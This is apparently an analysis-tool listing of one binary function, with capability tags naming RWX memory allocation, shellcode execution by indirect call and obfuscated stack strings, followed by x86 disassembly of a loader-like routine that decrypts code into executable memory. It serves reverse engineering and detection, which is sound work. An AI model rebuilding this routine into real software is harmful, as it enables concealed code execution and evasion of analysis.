Function at 0x103f64b
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x1050d74]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, ecx
push ebx
push esi
mov esi, dword [edx + 4]
mov eax, dword [esi]
mov ecx, eax
shr ecx, 0xe
and ecx, 0x7f
xor ebx, ebx
cmp ecx, 0x14
push edi
mov dword [ebp - 0xe0], edx
je 0x103f69e
cmp ecx, 0x1e
je 0x103f68c
mov dword [ebp - 0xd4], ebx
jmp 0x103f702
shr eax, 2
and eax, 7
mov eax, dword [edx + eax*4 - 0x20]
mov dword [ebp - 0xd4], eax
jmp 0x103f702
mov edi, eax
mov ecx, eax
shr edi, 2
shr ecx, 0xa
and edi, 7
and ecx, 7
test al, 2
je 0x103f6be
mov edi, dword [edx + edi*4 - 0x20]
mov dword [ebp - 0x9c], edi
jmp 0x103f6c4
mov dword [ebp - 0x9c], ebx
test byte [esi + 8], 1
je 0x103f6e0
mov edi, eax
shr edi, 8
and edi, 3
mov edi, dword [edi*4 + 0x1041040]
imul edi, dword [edx + ecx*4 - 0x20]
jmp 0x103f6e2
xor edi, edi
mov ecx, dword [esi + 4]
and al, 0x80
neg al
sbb eax, eax
and eax, 0x1000000
add ecx, eax
add ecx, edi
add ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
mov dword [ebp - 0xd4], ecx
add esi, 0xc
cmp esi, ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xcc], ebx
je 0x103f806
lea edi, [esi - 1]
cmp edi, section..data
jb 0x103f760
mov eax, dword [0x1017bcc]
mov edx, dword [0x1012f80]
imul eax, edx
lea eax, [eax + section..data]
cmp edi, eax
jae 0x103f760
mov ecx, dword [0x1012f80]
mov eax, edi
sub eax, section..data
xor edx, edx
div ecx
mov ecx, dword [0x1012f80]
imul ecx, eax
lea ecx, [ecx + section..data]
cmp ecx, ebx
jne 0x103f76d
mov ecx, dword [0x104e440]
add ecx, 0xffffffff
not ecx
and ecx, edi
mov eax, dword [0x100003c]
mov eax, dword [eax + 0x1000050]
sub esi, ecx
add esi, 0xffffffc0
xor edx, edx
cmp esi, ebx
setl dl
sub eax, 0x40
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xcc], ecx
sub edx, 1
and edx, esi
lea esi, [eax + 1]
xor eax, eax
cmp esi, ebx
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x9c], esi
je 0x103f7d8
mov edx, dword [0x104f4c0]
imul edx, edx, 0x343fd
add edx, 0x269ec3
mov edi, edx
shr edi, 0x10
shl eax, 0x10
or eax, edi
shr dword [ebp - 0x9c], 0x10
jne 0x103f7b3
mov dword [0x104f4c0], edx
xor edx, edx
div esi
mov eax, dword [ebp - 0x98]
lea eax, [ecx + eax + 3]
and eax, 0xfffffffc
mov ecx, 0x10
lea edx, [edx + 0x1000003]
and edx, 0xfffffffc
sub edx, eax
mov esi, dword [edx + eax]
mov dword [eax], esi
add eax, 4
sub ecx, 1
jne 0x103f7f9
mov eax, dword [0x103f2c0]
mov edi, dword [0x1040e44]
xor esi, esi
sub eax, 1
cmp dword [ebp - 0xd4], 0x1000000
mov dword [ebp - 0xb8], esi
mov dword [ebp - 0xb0], eax
jb 0x103f913
mov ecx, dword [0x100003c]
mov ecx, dword [ecx + 0x1000050]
add ecx, 0x1000000
cmp dword [ebp - 0xd4], ecx
jae 0x103f913
mov ecx, dword [ebp - 0xd4]
sub ecx, 0x1000000
cmp eax, ebx
mov dword [ebp - 0x9c], ecx
jl 0x103f8fc
add eax, esi
cdq
sub eax, edx
sar eax, 1
mov esi, eax
shl esi, 5
add esi, 0x104108c
mov ecx, dword [esi + 8]
and ecx, 0xfffffff
mov edx, ecx
xor edx, edi
cmp dword [ebp - 0x9c], edx
jae 0x103f8a2
mov esi, dword [ebp - 0xb8]
add eax, 0xffffffff
mov dword [ebp - 0xb0], eax
jmp 0x103f8c5
mov edi, dword [esi]
shr edi, 1
and edi, 0x3fff
add edi, edx
cmp dword [ebp - 0x9c], edi
jb 0x103f8cd
lea esi, [eax + 1]
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xb8], esi
cmp eax, esi
mov edi, ecx
jge 0x103f86a
jmp 0x103f8fc
mov ecx, 8
lea edi, [ebp - 0x13c]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x134]
mov esi, dword [ebp - 0xb8]
xor edx, eax
and edx, 0xfffffff
xor eax, edx
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0xb0]
mov edx, dword [0x103f2c0]
xor ecx, ecx
cmp esi, eax
setle cl
mov eax, ecx
cmp eax, ebx
jne 0x103f9bb
mov esi, dword [ebp - 0xa4]
cmp esi, ebx
je 0x103f9b0
cmp esi, section..data
jb 0x103f98e
mov eax, dword [0x1017bcc]
mov edx, dword [0x1012f80]
imul eax, edx
lea eax, [eax + section..data]
cmp esi, eax
jae 0x103f98e
mov ecx, dword [0x1012f80]
sub esi, section..data
xor edx, edx
mov eax, esi
div ecx
mov ecx, dword [0x1012f80]
imul ecx, eax
lea eax, [ecx + section..data]
cmp eax, ebx
je 0x103f98e
mov ecx, dword [0x1012f80]
xor edx, edx
mov eax, esi
div ecx
mov edx, dword [0x1017bcc]
mov edx, dword [ebp - 0xd4]
mov dword [eax*4 + 0x104e01c], 0x29
jmp 0x10409df
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x8000
mov esi, eax
mov eax, dword [ebp - 0xa4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edx, dword [ebp - 0xd4]
jmp 0x10409df
mov esi, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x128]
shr esi, 1
and eax, 0x1f
and esi, 0x3fff
mov dword [ebp - 0x140], eax
sub eax, 0x14
mov dword [ebp - 0xb8], esi
mov edx, esi
je 0x103f9f1
sub eax, 1
je 0x103fac8
sub eax, 9
add edx, 0x11
cmp dword [ebp - 0xa4], ebx
mov dword [ebp - 0xb0], edx
jne 0x103fbdc
mov esi, dword [0x1012f80]
lea ecx, [esi + edx - 1]
mov eax, ecx
xor edx, edx
div esi
mov eax, dword [0x1012f80]
sub ecx, edx
mov dword [ebp - 0xa0], ecx
mov ecx, dword [0x1017bcc]
mov edx, dword [0x1012f80]
mov eax, dword [0x1017bcc]
test eax, eax
mov dword [ebp - 0xb4], ecx
je 0x103faec
mov eax, dword [0x1017bcc]
sub eax, 1
lea edi, [eax + 1]
xor esi, esi
xor eax, eax
cmp edi, ebx
mov dword [ebp - 0x9c], edi
je 0x103fa88
mov ecx, dword [0x104f4c0]
mov edi, edi
imul ecx, ecx, 0x343fd
add ecx, 0x269ec3
mov edx, ecx
shr edx, 0x10
shl eax, 0x10
or eax, edx
shr dword [ebp - 0x9c], 0x10
jne 0x103fa63
mov dword [0x104f4c0], ecx
xor edx, edx
div edi
cmp dword [ebp - 0xb4], ebx
jbe 0x103faec
add esi, 1
mov ecx, 0xffffffd6
lea edi, [edx*4 + 0x104e01c]
mov eax, 0x29
lock cmpxchg dword [edi], ecx
cmp eax, 0x29
je 0x103fad0
mov ecx, dword [0x1017bcc]
lea eax, [edx + 1]
xor edx, edx
div ecx
cmp esi, dword [ebp - 0xb4]
jb 0x103fa94
jmp 0x103faec
add edx, 6
jmp 0x103f9f4
mov eax, dword [0x1012f80]
imul eax, edx
lea eax, [eax + section..data]
cmp eax, ebx
mov dword [ebp - 0xa4], eax
jne 0x103fbc2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp - 0xa0]
mov dword [ebp - 0x98], eax
xor edi, edi
lea ecx, [ecx]
push 0x40
push 0x1000
push esi
push ebx
add edi, 1
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
cmp ecx, ebx
jne 0x103fb2e
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, 0x11
jb 0x103fb02
mov dword [ebp - 0xa4], ebx
jmp 0x103fba9
mov edx, dword [0x100003c]
mov eax, dword [edx + 0x1000050]
sub eax, esi
lea edi, [eax + 1]
xor eax, eax
cmp edi, ebx
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x9c], edi
je 0x103fb7c
mov edx, dword [0x104f4c0]
imul edx, edx, 0x343fd
add edx, 0x269ec3
mov esi, edx
shr esi, 0x10
shl eax, 0x10
or eax, esi
shr dword [ebp - 0x9c], 0x10
jne 0x103fb57
mov dword [0x104f4c0], edx
xor edx, edx
div edi
lea eax, [ecx + 3]
mov ecx, dword [ebp - 0xa0]
and eax, 0xfffffffc
lea edx, [edx + 0x1000003]
and edx, 0xfffffffc
shr ecx, 2
je 0x103fba9
sub edx, eax
mov esi, dword [edx + eax]
mov dword [eax], esi
add eax, 4
sub ecx, 1
jne 0x103fb9c
mov eax, dword [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp - 0xa4], ebx
je 0x103fa23
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xb0]
mov esi, dword [ebp - 0xb8]
mov dword [ebp - 0xcc], ecx
jmp 0x103fbe1
mov eax, dword [0x1012f80]
mov ecx, dword [ebp - 0x134]
and ecx, 0xfffffff
lea eax, [ecx + 0x1000000]
mov dword [ebp - 0xb0], eax
mov eax, dword [0x1012f80]
sub eax, edx
lea edi, [eax + 1]
xor eax, eax
cmp edi, ebx
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x9c], edi
je 0x103fc46
mov edx, dword [0x104f4c0]
imul edx, edx, 0x343fd
add edx, 0x269ec3
mov esi, edx
shr esi, 0x10
shl eax, 0x10
or eax, esi
shr dword [ebp - 0x9c], 0x10
jne 0x103fc1b
mov esi, dword [ebp - 0xb8]
mov dword [0x104f4c0], edx
xor edx, edx
div edi
mov edi, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xb0]
mov byte [ebp - 0x91], 0xa5
add edi, edx
sub eax, edi
mov dword [ebp - 0xcc], edi
mov edi, dword [ebp - 0x13c]
test edi, 0x180000
mov dword [ebp - 0x9c], eax
jne 0x104001f
mov esi, dword [ebp - 0x130]
mov edx, dword [0x1002900]
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x104], ecx
mov ecx, dword [ebp - 0x12c]
and ecx, 0xfffffff
shr edi, 0x15
and esi, 0xfffffff
add ecx, 0x1000000
mov eax, 0x1000000
and edi, 0x7f
sub eax, edx
mov dword [ebp - 0xb4], esi
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xc8], eax
jne 0x103fd43
mov eax, 0x8421085
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
imul eax, eax, 0x7c
sub edi, eax
lea edx, [ebp - 0x100]
push edx
mov edx, dword [edi*4 + 0x1038b60]
lea eax, [ecx + esi]
push eax
push ecx
lea ecx, [ebp - 0x108]
push ecx
mov byte [ebp - 0x100], bl
mov byte [ebp - 0xff], 1
mov byte [ebp - 0xfe], 2
mov byte [ebp - 0xfd], 3
mov byte [ebp - 0xfc], 4
mov byte [ebp - 0xfb], 5
call edx
mov eax, dword [ebp - 0x108]
mov edi, dword [ebp - 0x104]
mov esi, dword [ebp - 0xb8]
jmp 0x104002b
mov esi, dword [0x100003c]
mov edx, dword [esi + 0x10000a0]
mov esi, dword [esi + 0x10000a4]
mov dword [ebp - 0x98], esi
mov eax, ecx
sub eax, 0x1000000
mov esi, eax
and esi, 0xfffff000
mov dword [ebp - 0xa0], esi
mov esi, eax
sub esi, dword [ebp - 0xa0]
add edx, 0x1000000
mov dword [ebp - 0xd0], esi
mov esi, dword [ebp - 0xb4]
add eax, esi
mov esi, eax
and esi, 0xfffff000
sub eax, esi
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x98]
add eax, edx
cmp edx, eax
mov dword [ebp - 0x11c], esi
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x114], eax
je 0x103fdd1
mov esi, dword [ebp - 0xa0]
cmp dword [edx], esi
jae 0x103fdcb
add edx, dword [edx + 4]
cmp edx, eax
jne 0x103fdc0
mov dword [ebp - 0x110], edx
xor esi, esi
cmp edx, eax
je 0x103fe1a
mov eax, dword [ebp - 0xa0]
cmp dword [edx], eax
jne 0x103fe1a
mov eax, dword [edx + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x98], eax
je 0x103fe1a
mov eax, dword [ebp - 0xd0]
lea esp, [esp]
movzx ecx, word [edx + esi*2 + 8]
and ecx, 0xfff
cmp ecx, eax
jae 0x103fe14
add esi, 1
cmp esi, dword [ebp - 0x98]
jne 0x103fdfa
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0xa0], ecx
jmp 0x103fe28
mov ecx, dword [ebp - 0xa4]
cmp edx, dword [ebp - 0x114]
je 0x103ffa4
mov eax, dword [ebp - 0x11c]
cmp dword [edx], eax
ja 0x103ffa4
lea ebx, [ebx]
mov eax, dword [edx + 4]
add eax, 0xfffffff8
shr eax, 1
cmp esi, eax
jne 0x103fe77
add edx, dword [edx + 4]
cmp edx, dword [ebp - 0x114]
mov dword [ebp - 0x110], edx
je 0x103ffa4
mov eax, dword [ebp - 0x11c]
cmp dword [edx], eax
ja 0x103ffa4
xor esi, esi
jmp 0x103fe44
mov ecx, dword [edx]
cmp ecx, dword [ebp - 0x11c]
jne 0x103fe97
movzx eax, word [edx + esi*2 + 8]
and eax, 0xfff
cmp eax, dword [ebp - 0x118]
jae 0x103ff9e
mov eax, esi
movzx eax, word [edx + eax*2 + 8]
add esi, 1
test eax, 0xf000
mov dword [ebp - 0x10c], esi
je 0x103fe22
and eax, 0xfff
lea esi, [eax + ecx + 0x1000000]
mov eax, 0x8421085
mul edi
mov ecx, edi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
imul ecx, ecx, 0x7c
mov edx, edi
sub edx, ecx
lea eax, [edx*4 + 0x1038b60]
mov edx, dword [ebp - 0xa0]
lea ecx, [ebp - 0xf0]
push ecx
push esi
push edx
mov edx, dword [eax]
lea ecx, [ebp - 0x108]
push ecx
mov byte [ebp - 0xf0], bl
mov byte [ebp - 0xef], 1
mov byte [ebp - 0xee], 2
mov byte [ebp - 0xed], 3
mov byte [ebp - 0xec], 4
mov byte [ebp - 0xeb], 5
mov dword [ebp - 0x98], eax
call edx
mov eax, dword [esi]
sub eax, dword [ebp - 0xc8]
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0xe8]
push eax
push ecx
mov ecx, dword [ebp - 0x98]
lea edx, [ebp - 0x90]
push edx
mov edx, dword [ecx]
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 0xe8], bl
mov byte [ebp - 0xe7], 1
mov byte [ebp - 0xe6], 2
mov byte [ebp - 0xe5], 3
mov byte [ebp - 0xe4], 4
mov byte [ebp - 0xe3], 5
call edx
mov edx, dword [ebp - 0x110]
add esi, 4
mov dword [ebp - 0xa0], esi
mov esi, dword [ebp - 0x10c]
jmp 0x103fe22
mov ecx, dword [ebp - 0xa4]
mov eax, 0x8421085
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
imul eax, eax, 0x7c
sub edi, eax
mov eax, dword [ebp - 0xb4]
lea edx, [ebp - 0xf8]
push edx
add ecx, eax
mov eax, dword [edi*4 + 0x1038b60]
push ecx
mov ecx, dword [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x108]
push edx
mov byte [ebp - 0xf8], bl
mov byte [ebp - 0xf7], 1
mov byte [ebp - 0xf6], 2
mov byte [ebp - 0xf5], 3
mov byte [ebp - 0xf4], 4
mov byte [ebp - 0xf3], 5
call eax
mov eax, dword [ebp - 0x108]
mov edi, dword [ebp - 0x104]
mov esi, dword [ebp - 0xb8]
jmp 0x104002b
mov eax, dword [ebp - 0x124]
mov edi, dword [ebp - 0x120]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x148], eax
mov cl, 0x5c
mov al, 0xd3
mov dl, 0x55
mov dword [ebp - 0xbc], edi
mov dword [ebp - 0x144], edi
mov byte [ebp - 0x80], 0x42
mov byte [ebp - 0x7f], 0xe6
mov byte [ebp - 0x7e], 0x77
mov byte [ebp - 0x7d], 0xdb
mov byte [ebp - 0x7c], bl
mov byte [ebp - 0x7b], bl
mov byte [ebp - 0x7a], bl
mov byte [ebp - 0x79], bl
mov byte [ebp - 0x78], 0x83
mov byte [ebp - 0x77], 0x3e
mov byte [ebp - 0x76], 0xea
mov byte [ebp - 0x75], 0x3f
mov byte [ebp - 0x74], al
mov byte [ebp - 0x73], 0x3b
mov byte [ebp - 0x72], 0xdd
mov byte [ebp - 0x71], cl
mov byte [ebp - 0x70], bl
mov byte [ebp - 0x6f], bl
mov byte [ebp - 0x6e], bl
mov byte [ebp - 0x6d], bl
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], bl
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], bl
mov byte [ebp - 0x67], bl
mov byte [ebp - 0x66], bl
mov byte [ebp - 0x65], bl
mov byte [ebp - 0x64], bl
mov byte [ebp - 0x63], bl
mov byte [ebp - 0x62], bl
mov byte [ebp - 0x61], bl
mov byte [ebp - 0x60], bl
mov byte [ebp - 0x5f], bl
mov byte [ebp - 0x5e], bl
mov byte [ebp - 0x5d], bl
mov byte [ebp - 0x5c], bl
mov byte [ebp - 0x5b], bl
mov byte [ebp - 0x5a], bl
mov byte [ebp - 0x59], bl
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], bl
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], bl
mov byte [ebp - 0x53], bl
mov byte [ebp - 0x52], bl
mov byte [ebp - 0x51], bl
mov byte [ebp - 0x50], bl
mov byte [ebp - 0x4f], bl
mov byte [ebp - 0x4e], bl
mov byte [ebp - 0x4d], bl
mov byte [ebp - 0x4c], 0x73
mov byte [ebp - 0x4b], 0xed
mov byte [ebp - 0x4a], 0xa1
mov byte [ebp - 0x49], 0x69
mov byte [ebp - 0x48], bl
mov byte [ebp - 0x47], bl
mov byte [ebp - 0x46], bl
mov byte [ebp - 0x45], bl
mov byte [ebp - 0x44], bl
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x42], bl
mov byte [ebp - 0x41], bl
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], bl
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], dl
mov byte [ebp - 0x3b], 0xf0
mov byte [ebp - 0x3a], 9
mov byte [ebp - 0x39], cl
mov byte [ebp - 0x38], bl
mov byte [ebp - 0x37], bl
mov cl, 0xa
mov byte [ebp - 0xf], dl
mov edx, esi
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x10], cl
mov ecx, dword [ebp - 0xcc]
and edx, 7
mov byte [ebp - 0x29], al
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0xb0]
mov byte [ebp - 0x36], bl
mov byte [ebp - 0x35], bl
mov byte [ebp - 0x34], 6
mov byte [ebp - 0x33], 0x2e
mov byte [ebp - 0x32], 0xf2
mov byte [ebp - 0x31], 0xc3
mov byte [ebp - 0x30], 0x5d
mov byte [ebp - 0x2f], 0x98
mov byte [ebp - 0x2e], 0x6a
mov byte [ebp - 0x2d], 0x3c
mov byte [ebp - 0x2c], pe_nt_image_headers32
mov byte [ebp - 0x2b], 0xdf
mov byte [ebp - 0x2a], 0xb7
mov byte [ebp - 0x28], bl
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x26], bl
mov byte [ebp - 0x25], bl
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x23], bl
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], bl
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], 0x8d
mov byte [ebp - 0x1b], 0xff
mov byte [ebp - 0x1a], 0xc9
mov byte [ebp - 0x19], 0x84
mov byte [ebp - 0x18], 0x3f
mov byte [ebp - 0x17], 0xb4
mov byte [ebp - 0x15], 0x80
mov byte [ebp - 0x14], 0x9e
mov byte [ebp - 0x13], 0xf8
mov byte [ebp - 0x12], 0x4d
mov byte [ebp - 0x11], 0x35
mov byte [ebp - 0xe], 0xcc
mov byte [ebp - 0xd], 0xa6
mov byte [ebp - 0xb], 0xfe
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0x36
mov byte [ebp - 8], bl
mov byte [ebp - 7], bl
mov byte [ebp - 6], bl
mov byte [ebp - 5], bl
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0xb4], edx
je 0x104047d
xor ecx, ecx
cmp edx, ebx
mov dword [ebp - 0xd0], ebx
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xac], ecx
jle 0x1040260
lea esi, [ecx + 0x38]
cmp ecx, 4
movzx ebx, byte [eax]
jge 0x104023d
lea ecx, [esi - 0x20]
shl ebx, cl
or dword [ebp - 0xc8], ebx
jmp 0x1040247
mov ecx, esi
shl ebx, cl
or dword [ebp - 0xd0], ebx
mov ecx, dword [ebp - 0xac]
add ecx, 1
add eax, 1
sub esi, 8
cmp ecx, edx
mov dword [ebp - 0xac], ecx
jl 0x1040228
mov ecx, dword [ebp - 0xc0]
mov esi, ecx
movzx ebx, word [ebp - 0xba]
xor esi, edi
mov edx, edi
xor edx, esi
sub ecx, edx
xor ecx, dword [ebp - 0xc4]
movzx edx, di
mov dword [ebp - 0xa8], ecx
ror ecx, 1
xor ecx, edx
imul ecx, ebx
xor esi, ecx
movzx edx, word [ebp - 0xbe]
mov ecx, edi
xor ecx, esi
ror ecx, 1
imul ecx, edx
mov edx, dword [ebp - 0xa8]
mov ebx, esi
ror ebx, 1
xor ebx, ecx
xor edx, ebx
movzx ebx, word [ebp - 0xc0]
mov ecx, edi
xor ecx, edx
ror ecx, 1
imul ecx, ebx
mov dword [ebp - 0xa8], edx
ror edx, 1
sub ecx, edx
xor esi, ecx
mov edx, esi
xor edx, ebx
mov ebx, edx
movzx edx, word [ebp - 0xba]
imul ebx, edx
mov ecx, esi
ror ecx, 1
add ecx, ebx
mov ebx, ecx
mov ecx, dword [ebp - 0xa8]
xor ecx, ebx
mov ebx, ecx
xor ebx, edx
movzx edx, di
imul ebx, edx
movzx edx, word [ebp - 0xbe]
mov dword [ebp - 0xa8], ecx
shr ecx, 1
add ebx, ecx
xor esi, ebx
mov ecx, esi
sub ecx, edi
ror ecx, 1
imul ecx, edx
mov edx, dword [ebp - 0xa8]
mov ebx, esi
ror ebx, 1
add ebx, ecx
xor edx, ebx
mov dword [ebp - 0xa8], edx
mov ecx, edi
sub ecx, edx
ror ecx, 1
mov ebx, edx
movzx edx, word [ebp - 0xc0]
imul ecx, edx
ror ebx, 1
xor ebx, ecx
movzx ecx, word [ebp - 0xba]
xor esi, ebx
mov ebx, esi
ror ebx, 2
movzx edx, di
sub ebx, ecx
mov ecx, dword [ebp - 0xa8]
imul ebx, edx
xor ecx, ebx
mov ebx, ecx
sub ebx, edx
xor ebx, dword [ebp - 0xc0]
xor esi, ebx
mov ebx, esi
xor ebx, edx
movzx edx, word [ebp - 0xbe]
imul ebx, edx
mov edx, esi
shr edx, 1
xor ebx, edx
xor ecx, ebx
mov dword [ebp - 0xa8], ecx
mov ebx, ecx
mov edx, edi
sub edx, ecx
movzx ecx, word [ebp - 0xc0]
ror edx, 0xe
imul edx, ecx
mov ecx, dword [ebp - 0xa8]
xor ecx, dword [ebp - 0xd0]
ror ebx, 0x1b
add ebx, edx
xor ebx, dword [ebp - 0xc8]
mov edx, dword [ebp - 0xb4]
xor esi, ebx
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0xa4], ecx
xor ebx, ebx
xor ecx, ecx
cmp edx, ebx
mov dword [ebp - 0xc4], esi
mov dword [ebp - 0xac], ecx
jle 0x104043b
lea ecx, [ecx]
cmp ecx, 4
mov edx, dword [ebp - 0xa0]
jge 0x1040400
mov ecx, dword [ebp - 0xc4]
rol ecx, 8
mov byte [edx], cl
add edx, 1
xor byte [ebp - 0x91], cl
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0xa0], edx
jmp 0x1040422
mov ecx, dword [ebp - 0xa4]
rol ecx, 8
mov byte [edx], cl
add edx, 1
mov dword [ebp - 0xa0], edx
mov dl, cl
xor byte [ebp - 0x91], dl
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0xb4]
add ecx, 1
cmp ecx, edx
mov dword [ebp - 0xac], ecx
jl 0x10403d3
lea ecx, [edx - 4]
cmp ecx, ebx
jle 0x1040463
mov edx, 4
sub edx, ecx
add edx, edx
add edx, edx
add edx, edx
mov dword [ebp - 0xac], edx
mov ecx, edx
mov edx, dword [ebp - 0xa8]
shr edx, cl
shl edx, cl
jmp 0x1040493
xor edx, edx
cmp ecx, ebx
jge 0x1040493
neg ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
shr esi, cl
mov dword [ebp - 0xac], ecx
shl esi, cl
jmp 0x1040493
mov ecx, dword [ebp - 0xc4]
xor edx, edx
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xd0], ecx
xor esi, esi
mov ecx, dword [ebp - 0xb8]
shr ecx, 3
je 0x10406c5
mov ebx, dword [ebp - 0xc0]
xor ebx, edi
mov dword [ebp - 0xd8], ebx
movzx ebx, word [ebp - 0xba]
mov dword [ebp - 0xac], ebx
movzx ebx, word [ebp - 0xbe]
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0x98], ecx
jmp 0x10404d8
mov eax, dword [ebp - 0xdc]
xor ecx, ecx
mov ch, byte [eax]
movzx ebx, byte [eax + 2]
add eax, 8
mov dword [ebp - 0xdc], eax
mov cl, byte [eax - 7]
shl ecx, 8
or ecx, ebx
movzx ebx, byte [eax - 5]
shl ecx, 8
or ecx, ebx
mov dword [ebp - 0xc4], ecx
xor ecx, ecx
mov ch, byte [eax - 4]
movzx ebx, byte [eax - 2]
mov cl, byte [eax - 3]
shl ecx, 8
or ecx, ebx
movzx ebx, byte [eax - 1]
shl ecx, 8
or ecx, ebx
mov eax, dword [ebp - 0xc4]
xor edx, ecx
mov dword [ebp - 0xa4], ecx
xor eax, edx
xor eax, esi
xor eax, dword [ebp - 0xd8]
mov esi, dword [ebp - 0xc0]
mov ecx, edi
xor ecx, eax
sub esi, ecx
xor edx, esi
mov esi, edx
ror esi, 1
movzx ecx, di
xor esi, ecx
imul esi, dword [ebp - 0xac]
xor eax, esi
mov ecx, edi
xor ecx, eax
ror ecx, 1
imul ecx, dword [ebp - 0xb4]
mov esi, eax
ror esi, 1
xor esi, ecx
xor edx, esi
movzx esi, word [ebp - 0xc0]
mov ecx, edi
xor ecx, edx
ror ecx, 1
imul ecx, esi
mov ebx, edx
ror ebx, 1
sub ecx, ebx
xor eax, ecx
mov ecx, eax
xor ecx, esi
mov esi, ecx
mov ecx, dword [ebp - 0xac]
imul esi, ecx
mov ebx, eax
ror ebx, 1
add ebx, esi
xor edx, ebx
mov esi, edx
xor esi, ecx
movzx ecx, di
imul esi, ecx
mov ecx, edx
shr ecx, 1
add esi, ecx
xor eax, esi
mov ecx, eax
sub ecx, edi
ror ecx, 1
imul ecx, dword [ebp - 0xb4]
mov esi, eax
ror esi, 1
add esi, ecx
xor edx, esi
movzx esi, word [ebp - 0xc0]
mov ecx, edi
sub ecx, edx
ror ecx, 1
imul ecx, esi
mov ebx, edx
ror ebx, 1
xor ebx, ecx
xor eax, ebx
mov ebx, eax
ror ebx, 2
sub ebx, dword [ebp - 0xac]
movzx ecx, di
imul ebx, ecx
xor edx, ebx
mov ebx, edx
sub ebx, ecx
xor ebx, dword [ebp - 0xc0]
xor eax, ebx
mov ebx, eax
xor ebx, ecx
imul ebx, dword [ebp - 0xb4]
mov ecx, eax
shr ecx, 1
xor ebx, ecx
xor edx, ebx
mov ecx, edi
sub ecx, edx
ror ecx, 0xe
imul ecx, esi
mov ebx, edx
xor edx, dword [ebp - 0xd0]
ror ebx, 0x1b
add ebx, ecx
xor ebx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xa0]
xor eax, ebx
mov bl, byte [ebp - 0x91]
xor bl, al
mov byte [ecx + 3], al
ror eax, 8
xor bl, dl
mov byte [ecx + 7], dl
xor bl, al
ror edx, 8
mov byte [ecx + 2], al
xor bl, dl
mov esi, eax
ror esi, 8
mov byte [ecx + 6], dl
ror edx, 8
mov dword [ebp - 0xa0], eax
mov eax, esi
xor bl, al
mov byte [ecx + 1], al
ror eax, 8
mov byte [ecx + 5], dl
xor bl, dl
mov dword [ebp - 0xa8], edx
ror edx, 8
mov byte [ecx], al
mov byte [ecx + 4], dl
mov dword [ebp - 0xa8], edx
xor dl, al
xor bl, dl
mov edx, dword [ebp - 0xa8]
ror eax, 8
mov esi, eax
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0xa4]
add ecx, 8
ror edx, 8
sub dword [ebp - 0x98], 1
mov byte [ebp - 0x91], bl
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xa0], ecx
jne 0x10404d2
xor ebx, ebx
mov ecx, dword [0x1002900]
mov eax, 0x1000000
sub eax, ecx
mov dword [ebp - 0x98], eax
jne 0x10406e6
cmp dword [ebp - 0x9c], ebx
je 0x10407c8
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xcc]
